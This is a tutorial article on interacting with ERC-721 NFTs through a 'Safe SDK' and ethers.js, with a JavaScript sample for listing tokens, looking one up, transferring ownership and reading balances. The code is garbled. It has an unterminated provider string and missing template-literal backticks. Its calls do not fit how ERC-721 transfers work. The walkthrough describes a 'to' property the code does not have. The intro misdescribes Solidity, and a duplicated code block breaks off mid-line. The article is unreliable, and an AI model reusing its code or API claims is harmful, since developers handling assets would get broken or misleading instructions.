Interacting with ERC-721 tokens using the Safe SDK: A guide

The Ethereum Solidity programming language, built on top of the Ethereum Virtual Machine (EVM), provides a set of libraries and tools for interacting with various components of the Ethereum ecosystem. One such component is the ERC-721 token standard, which allows developers to create, manage, and transfer unique digital assets called NFTs.

In this article, we’ll explore how to interact with ERC-721 tokens using the Safe SDK, a library that simplifies the process of creating decentralized applications (dApps) on the Ethereum network.

ERC-721 Token Overview

Before we get into how to interact with ERC-721 tokens, let’s quickly recap what they are:

• An ERC-721 token is a unique digital asset that can be stored, transferred, and traded on the Ethereum blockchain.

• Each ERC-721 token has a unique identifier called a «token ID.»

• Tokens can represent anything from art to collectibles, and their value and use vary widely.

Safe SDK: Interacting with ERC-721 tokens

The Safe SDK provides a number of features for interacting with various components of the Ethereum ecosystem. To interact with ERC-721 tokens using the Safe SDK, you must use the ethers.js' library in conjunction with the Safe SDK.

// Import required libraries
const ethers = require('ethers');
const safeSdk = require('@safe-sdk/ethereum-safe-sdk');
// Set up your Ethereum provider (e.g. Infura or Alchemy)
const provider = new ethers.providers.JsonRpcProvider(' // or '
// Define the ERC-721 contract address
const erc721ContractAddress = '0x...'; // replace with your token's contract address
// List all available tokens on the blockchain
safeSdk.getTokens().then(tokens => {
const tokenIds = tokens.map(token => token.id);
// Search for a specific token by ID
safeSdk.getToken('0x...').then(token => {
console.log(Token found with ID: ${token.id});
// Transfer ownership of the token to another address
safeSdk.transferOwnership(erc721ContractAddress, '0x...', { from: '0x...'}).then(() => {
console.log('Token transferred successfully');
}).catch(error => {
console.error('Error transferring token:', error);
});
});
// List the balances of all tokens
safeSdk.getBalances().then(balances => {
const balanceResults = balances.map(balance => balance.balance);
console.log(Available tokens with their balances:);
console.log(balanceResults);
});
});

In this example, we set up a simple Ethereum provider and define the ERC-721 contract address. Then we use the getTokens()function to list all available ERC-721 token IDs on the blockchain.

To find a specific token by ID, we use thegetToken()function. In this case, we simply pass the token ID0x….

To transfer ownership of a token to another address, we use thetransferOwnership()function. We pass the contract address of the ERC-721 contract, the address of the new owner, and a JSON object containing thefromandtoproperties.

Finally, to list the balances of all tokens, we use thegetBalances()function.

«javascript

// Import required libraries

const ethers = require(‘ethers’);

const safeSdk = require(‘@safe-sdk/ethereum-safe-sdk’);

// Set up your Ethereum provider (e.g. Infura or Alchemy)

const provider = new ethers.providers.
